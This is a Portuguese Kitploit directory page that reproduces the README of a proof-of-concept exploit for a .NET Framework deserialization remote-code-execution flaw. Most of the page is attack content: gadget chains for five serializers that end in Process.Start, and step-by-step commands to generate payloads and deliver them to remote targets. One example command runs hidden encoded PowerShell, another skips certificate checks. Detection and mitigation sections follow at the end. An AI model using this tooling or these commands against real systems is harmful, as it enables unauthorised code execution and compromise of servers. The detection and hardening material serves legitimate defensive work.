Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-56158-.NET-Framework-RCE-PoC-Exploit — Gera cinco formatos de payload de desserialização .NET para CVE-2026-56158, entrega-os por endpoints HTTP/SOAP/JSON, inclui servidor mock, scanner e saída de relatório JSON. | Kitploit
Ferramentas/GitHubGitHub/sam00/cve-2026-56158-.net-framework-rce-poc-exploit
Scanners de VulnerabilidadesGeração de PayloadsAnálise Estática de Código (SAST)Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebDesenvolvimento de Payloads
GitHub
sam00/cve-2026-56158-.net-framework-rce-poc-exploit

CVE-2026-56158-.NET-Framework-RCE-PoC-Exploit

Gera cinco formatos de payload de desserialização .NET para CVE-2026-56158, entrega-os por endpoints HTTP/SOAP/JSON, inclui servidor mock, scanner e saída de relatório JSON.

Ver Repositório
19há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-56158 — Exploit PoC de Execução Remota de Código (RCE) no .NET Framework

Crítico (CVSS 9.8) — Desserialização de Dados Não Confiáveis (CWE-502) no Microsoft .NET Framework e no Runtime .NET Corrigido: 14 de julho de 2026 | Atribuído a: Positive Technologies (PT-2026-60174)


Índice

  • Visão Geral
  • Detalhes da Vulnerabilidade
  • Versões Afetadas
  • Vetores de Ataque
  • Arquitetura do Exploit
  • Estrutura de Arquivos
  • Instalação
  • Uso Passo a Passo
  • Testes
  • Detecção e Hardening
  • Mitigação
  • Referências
  • Aviso Legal
  • Licença

Visão Geral

CVE-2026-56158 é uma vulnerabilidade crítica de execução remota de código no Microsoft .NET Framework e no runtime do .NET. A falha existe na desserialização insegura de dados não confiáveis (CWE-502) — quando um aplicativo .NET usa serializadores legados (BinaryFormatter, , , ) ou Json.NET com , um atacante remoto não autenticado pode enviar um payload serializado especialmente criado que aciona a execução arbitrária de código durante a desserialização.

NetDataContractSerializer
SoapFormatter
ObjectStateFormatter
TypeNameHandling.All/Auto

A vulnerabilidade possui pontuação base CVSS 3.1 de 9.8 Crítico com o vetor AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, ou seja:

  • Vetor de Ataque: Rede (sem necessidade de acesso físico)
  • Complexidade de Ataque: Baixa
  • Privilégios Necessários: Nenhum
  • Interação do Usuário: Nenhuma
  • Impacto: Comprometimento total da Confidencialidade, Integridade e Disponibilidade

A Microsoft lançou atualizações de segurança em 14 de julho de 2026 como parte do ciclo mensal do Patch Tuesday.


Detalhes da Vulnerabilidade

CampoValor
CVE IDCVE-2026-56158
TítuloVulnerabilidade de Execução Remota de Código no .NET Framework
CVSS 3.19.8 Crítico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CVSS 2.07.5 Alto (AV:N/AC:L/Au:N/C:P/I:P/A:P)
CWECWE-502 (Desserialização de Dados Não Confiáveis)
Publicada14 de julho de 2026
Corrigida14 de julho de 2026
DescobridorPositive Technologies (PT-2026-60174)
EPSSAinda sem pontuação
CISA KEVNão listada

Causa Raiz

Os serializadores legados do runtime .NET reconstroem tipos de objetos arbitrários a partir de fluxos serializados sem validar o tipo ou o conteúdo. Quando um atacante controla a entrada serializada, ele pode direcionar o desserializador para instanciar tipos inesperados cujos construtores, callbacks ou setters de propriedades executam código arbitrário — um clássico ataque de cadeia de gadgets por desserialização.

A vulnerabilidade afeta múltiplos mecanismos de serialização:

  1. BinaryFormatter — Fluxo binário com metadados de tipo; a cadeia de gadgets TypeConfuseDelegate delega para Process.Start
  2. NetDataContractSerializer — Formato XML que inclui informações de tipo .NET; permite instanciação direta de tipos
  3. SoapFormatter — Envelope SOAP XML com referências de tipo CLR; ProcessStartInfo incorporado no corpo SOAP
  4. ObjectStateFormatter — Formato binário do ViewState ASP.NET; Process.Start via campo ViewState
  5. Json.NET (Newtonsoft.Json) — JSON com metadados $type quando TypeNameHandling.All/Auto está habilitado; o gadget ObjectDataProvider chama Process.Start

Versões Afetadas

ProdutoIntervalo VulnerávelVersão CorrigidaArtigo da KB
.NET 8.08.0.0 – 8.0.288.0.29KB5100998
.NET 9.09.0.0 – 9.0.179.0.18KB5100998
.NET 10.010.0.0 – 10.0.910.0.10KB5101001
.NET Framework 3.5Todas as versões anteriores ao patchCorrigidaKB5100985
.NET Framework 4.6.2–4.7.2Todas as versões anteriores ao patchCorrigidaKB5100991
.NET Framework 4.8Todas as versões anteriores ao patchCorrigidaKB5101011
.NET Framework 4.8.1Todas as versões anteriores ao patchCorrigidaKB5101002
Visual Studio 2022 (17.12)Antes do patch17.12.x—
Visual Studio 2022 (17.14)Antes do patch17.14.x—
Visual Studio 2026 (18.7)Antes do patch18.7.x—

Pacotes Alpine Linux:

  • dotnet8-runtime < 8.0.29-r0
  • dotnet9-runtime < 9.0.18-r0
  • dotnet10-runtime < 10.0.10-r0

Vetores de Ataque

Este exploit PoC gera e entrega payloads por meio de 5 formatos diferentes de ataque por desserialização:

1. BinaryFormatter (Gadget TypeConfuseDelegate)

root@kitploit:~
Serialized Stream → BinaryFormatter.Deserialize() → TypeConfuseDelegate
  → Process.Start("cmd.exe", "/c calc.exe") → RCE
  • Formato: Binário (fluxo serializado .NET)
  • Content-Type: application/octet-stream
  • Entrega: corpo de HTTP POST, arquivo
  • Gadget: ActivitySurrogateSelector+ObjectSurrogate → TypeConfuseDelegate → Process.Start

2. NetDataContractSerializer

root@kitploit:~
XML with type info → NetDataContractSerializer.ReadObject()
  → ProcessStartInfo instantiation → Process.Start → RCE
  • Formato: XML com informações de tipo .NET incorporadas
  • Content-Type: application/octet-stream ou text/xml
  • Entrega: corpo de HTTP POST, endpoint WCF

3. SoapFormatter

root@kitploit:~
SOAP envelope → SoapFormatter.Deserialize()
  → ProcessStartInfo in SOAP body → Process.Start → RCE
  • Formato: Envelope SOAP XML com referências de tipo CLR
  • Content-Type: text/xml
  • Entrega: endpoint SOAP WCF/ASMX

4. ObjectStateFormatter (ViewState)

root@kitploit:~
ViewState binary → ObjectStateFormatter.Deserialize()
  → Process.Start via ViewState field → RCE
  • Formato: Binário (formato ViewState ASP.NET)
  • Content-Type: application/octet-stream
  • Entrega: campo __VIEWSTATE de HTTP POST

5. Json.NET (TypeNameHandling.All)

root@kitploit:~
JSON with $type → JsonConvert.DeserializeObject<T>(json, TypeNameHandling.All)
  → ObjectDataProvider.MethodName = "Start" → Process.Start → RCE
  • Formato: JSON com metadados $type
  • Content-Type: application/json
  • Entrega: endpoint de API REST com TypeNameHandling.All ou Auto

Arquitetura do Exploit

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────┐
│                         exploit.py                                   │
├─────────────────────────────────────────────────────────────────────┤
│                                                                      │
│  ┌──────────────┐   ┌───────────────┐   ┌───────────────────────┐  │
│  │ PayloadGen   │   │ PayloadDeliv  │   │ VulnerabilityScanner  │  │
│  │              │   │               │   │                       │  │
│  │ • BinaryFmt  │   │ • HTTP POST   │   │ • HTTP header check   │  │
│  │ • NetData    │──▶│ • SOAP/WCF   │──▶│ • Endpoint discovery  │  │
│  │ • SoapFmt    │   │ • JSON API    │   │ • ViewState analysis  │  │
│  │ • ObjectState│   │ • File save   │   │ • Version detection   │  │
│  │ • Json.NET   │   │               │   │                       │  │
│  └──────────────┘   └───────────────┘   └───────────────────────┘  │
│         │                   │                      │                 │
│         └───────────────────┼──────────────────────┘                 │
│                             ▼                                        │
│  ┌──────────────┐   ┌──────────────────────────────────────────┐   │
│  │ PayloadList  │   │ Report Generator (JSON)                   │   │
│  │ (Mock .NET)  │   │ • CVE metadata, CVSS, CWE                │   │
│  │              │   │ • Payload hashes (SHA-256)               │   │
│  │ Simulates    │   │ • Delivery results                       │   │
│  │ vulnerable   │   │ • RCE confirmation                       │   │
│  │ deserialization│ │ • References                             │   │
│  └──────────────┘   └──────────────────────────────────────────┘   │
│                                                                      │
└─────────────────────────────────────────────────────────────────────┘

Fluxo de Ataque

root@kitploit:~
Attacker ────POST /api/deserialize──────▶ Target (.NET < 8.0.29)
         Content-Type: application/octet-stream
         Body: [BinaryFormatter payload]
                                             │
                                             ▼
                                   BinaryFormatter.Deserialize()
                                   (no type validation)
                                             │
                                             ▼
                                   TypeConfuseDelegate invoked
                                             │
                                             ▼
                                   Process.Start("cmd.exe", "/c calc.exe")
                                             │
                                             ▼
                                   calc.exe spawns → RCE CONFIRMED

Diagrama Mermaid

root@kitploit:~
graph TD
    A[Attacker] --> B[PayloadGenerator]
    B --> B1[BinaryFormatter]
    B --> B2[NetDataContractSerializer]
    B --> B3[SoapFormatter]
    B --> B4[ObjectStateFormatter]
    B --> B5[Json.NET]

    B1 --> C1[TypeConfuseDelegate Gadget]
    B2 --> C2[ProcessStartInfo XML]
    B3 --> C3[SOAP ProcessStartInfo]
    B4 --> C4[ViewState Process.Start]
    B5 --> C5[ObjectDataProvider Gadget]

    C1 --> D[PayloadDelivery]
    C2 --> D
    C3 --> D
    C4 --> D
    C5 --> D

    D --> E1[HTTP POST]
    D --> E2[SOAP Endpoint]
    D --> E3[JSON API]
    D --> E4[File]

    E1 --> F[.NET Runtime < 8.0.29]
    E2 --> F
    E3 --> F
    E4 --> F

    F --> G[Unsafe Deserialization - No Type Validation]
    G --> H[Gadget Chain Executes]
    H --> I[Process.Start - RCE]
    I --> J[Arbitrary Code Execution]

    subgraph "Vulnerable Components"
        F
        G
    end

    subgraph "Exploit Chain"
        H
        I
        J
    end

Estrutura de Arquivos

root@kitploit:~
CVE-2026-56158/
├── exploit.py          # Main exploit — payload generation, delivery, scanning, mock listener
├── detect.py           # Detection & hardening checker
├── test_exploit.py     # Unit tests (74 tests)
├── e2e_test.py         # End-to-end validation tests (37 tests)
├── README.md           # This file — GitHub description page
├── USAGE.md            # Detailed step-by-step usage guide
├── DIAGRAM.md          # Architecture & attack flow diagrams
├── package.json        # Project metadata
├── LICENSE             # MIT License
└── .gitignore          # Git ignore rules

Instalação

Pré-requisitos

  • Python 3.8+ (apenas biblioteca padrão — sem dependências externas)
  • Alvo: aplicativo .NET que usa desserialização insegura (para uso em cenários reais)
  • Nenhuma instalação do .NET é necessária para testes (servidor mock incluído)

Clonar

root@kitploit:~
git clone [email protected]:sam00/CVE-2026-56158-.NET-Framework-RCE-PoC-Exploit.git
cd CVE-2026-56158

Uso Passo a Passo

Etapa 1: Gerar Payloads

Gere todos os 5 formatos de payload com o comando padrão (calc.exe):

root@kitploit:~
python3 exploit.py

Saída:

root@kitploit:~
[INFO] Generating deserialization payloads...
  [SUCCESS] binaryformatter: 395 bytes
  [SUCCESS] netdatacontract: 437 bytes
  [SUCCESS] soap: 716 bytes
  [SUCCESS] objectstate: 153 bytes
  [SUCCESS] jsonnet: 695 bytes

Gere com um comando personalizado:

root@kitploit:~
python3 exploit.py -c "powershell.exe -nop -w hidden -enc <base64>"

Etapa 2: Testar Localmente com o Servidor Mock

Inicie o servidor mock vulnerável .NET embutido e entregue todos os payloads:

root@kitploit:~
python3 exploit.py --listen

Isso irá:

  1. Iniciar um servidor HTTP mock simulando um endpoint .NET vulnerável
  2. Gerar todos os 5 formatos de payload
  3. Entregar cada payload ao servidor mock
  4. Verificar se o RCE foi acionado (desserialização → execução de código)
  5. Gerar um relatório de exploração em JSON

Saída esperada:

root@kitploit:~
[VULN] RCE CONFIRMED — Payload deserialized and command execution triggered

Porta personalizada:

root@kitploit:~
python3 exploit.py --listen --port 8080

Etapa 3: Salvar Payload em Arquivo

Salve um formato específico de payload em um arquivo para entrega manual:

root@kitploit:~
# Save BinaryFormatter payload
python3 exploit.py --save payload.bin -f binaryformatter -c "calc.exe"

# Save SOAP payload
python3 exploit.py --save payload.soap -f soap -c "whoami"

# Save Json.NET payload
python3 exploit.py --save payload.json -f jsonnet -c "id"

Etapa 4: Entregar para um Alvo Remoto

Entregue todos os payloads para um alvo .NET remoto:

root@kitploit:~
python3 exploit.py -u http://target:8080 -c "calc.exe"

Com bypass do certificado SSL:

root@kitploit:~
python3 exploit.py -u https://target:8443 -c "calc.exe" --insecure

Etapa 5: Escanear um Alvo em Busca de Indicadores de Vulnerabilidade

Escanee um alvo em busca da versão do .NET, endpoints de desserialização e problemas de ViewState:

root@kitploit:~
python3 exploit.py -u http://target:8080 --scan

Isso verifica:

  • Cabeçalhos de resposta HTTP para indicadores de versão do .NET (X-AspNet-Version, X-Powered-By)
  • Caminhos comuns de endpoints de desserialização (/api/deserialize, /Service.svc, etc.)
  • Status de proteção do ViewState ASP.NET (validação MAC, criptografia)

Etapa 6: Gerar Relatório de Exploração

Gere um relatório JSON com todos os detalhes da exploração:

root@kitploit:~
python3 exploit.py --listen -o report.json
# or
python3 exploit.py -u http://target:8080 -o report.json

O relatório inclui:

  • Metadados do CVE (ID, CVSS, CWE, vetor)
  • Detalhes do payload (formato, tamanho, hash SHA-256)
  • Resultados da entrega (status HTTP, resposta)
  • Descobertas do scan
  • Status de confirmação do RCE
  • Referências

Testes

Testes Unitários (74 testes)

root@kitploit:~
python3 test_exploit.py

Os testes cobrem:

  • Geração de payloads para todos os 5 formatos
  • Injeção de comando personalizado
  • Codificação Base64
  • Entrega de payloads (HTTP, SOAP, JSON, arquivo)
  • Scanner de vulnerabilidades (detecção de versão, descoberta de endpoints)
  • Listener mock (confirmação de RCE, detecção de formato)
  • Geração de relatório (saída JSON, criação de arquivo)
  • Integridade do payload (geração determinística)
  • Casos extremos (comandos vazios, argumentos complexos)

Testes Ponta a Ponta (37 testes)

root@kitploit:~
python3 e2e_test.py

Os testes cobrem:

  • Cadeia completa de exploração: gerar → entregar → verificar RCE
  • Todos os 5 formatos de payload entregues ao servidor mock
  • Confirmação de RCE em múltiplos formatos
  • Entrega de payload baseada em arquivo
  • Integração do scanner de vulnerabilidades
  • Geração e validação do relatório de exploração

Resultados dos Testes

root@kitploit:~
Unit Tests:  74 passed, 0 failed
E2E Tests:   37 passed, 0 failed
Total:       111 tests passed

Detecção e Hardening

Execute o verificador de detecção para identificar instalações .NET vulneráveis:

root@kitploit:~
python3 detect.py

Escanee o código-fonte em busca de padrões de desserialização inseguros:

root@kitploit:~
python3 detect.py /path/to/source/code

O detector verifica:

  • Versões instaladas do runtime .NET (via dotnet --list-runtimes)
  • Entradas de registro do .NET Framework (Windows)
  • Padrões de código-fonte: BinaryFormatter.Deserialize, NetDataContractSerializer.ReadObject, SoapFormatter.Deserialize, ObjectStateFormatter.Deserialize, TypeNameHandling.All/Auto, LosFormatter.Deserialize

Mitigação

  1. Atualize o runtime .NET para as versões corrigidas (8.0.29+, 9.0.18+, 10.0.10+)
  2. Atualize o .NET Framework via Windows Update (KB5100985/KB5100991/KB5101011)
  3. Substitua BinaryFormatter por System.Text.Json ou DataContractSerializer com vinculação estrita de tipos
  4. Implemente listas de permissão no SerializationBinder quando serializadores legados forem necessários
  5. Configure a opção AppContext: Switch.System.Runtime.Serialization.UseLegacyBinaryFormatter=false
  6. Para o ViewState ASP.NET: habilite ViewStateMac e ViewStateEncryption
  7. Para Json.NET: evite TypeNameHandling.All/Auto; use TypeNameHandling.None
  8. Bloqueie SoapFormatter e NetDataContractSerializer para entradas não confiáveis
  9. Aplique políticas WDAC/AppLocker para restringir a criação de processos a partir de aplicativos .NET
  10. Monitore processos filhos inesperados de dotnet.exe, devenv.exe ou processos host .NET personalizados

Referências

  • NVD — CVE-2026-56158
  • Tenable — CVE-2026-56158
  • Snyk — SNYK-ALPINE324-DOTNET8RUNTIME-18025263
  • Microsoft — Atualização Cumulativa de julho de 2026
  • MSRC — CVE-2026-56158
  • Alpine Security Tracker — CVE-2026-56158
  • Notas de lançamento do .NET 8.0.29

Aviso Legal

Este exploit de prova de conceito é fornecido apenas para fins educacionais e de testes de segurança autorizados. Use esta ferramenta somente contra sistemas que você possua ou para os quais tenha autorização explícita por escrito para testar. O uso não autorizado contra sistemas que você não possui é ilegal e pode violar leis de fraude e abuso de computadores.

Os autores e colaboradores não são responsáveis por qualquer uso indevido ou dano causado por este software.


Licença

Licença MIT — consulte o arquivo LICENSE para obter detalhes.

Baixar ferramenta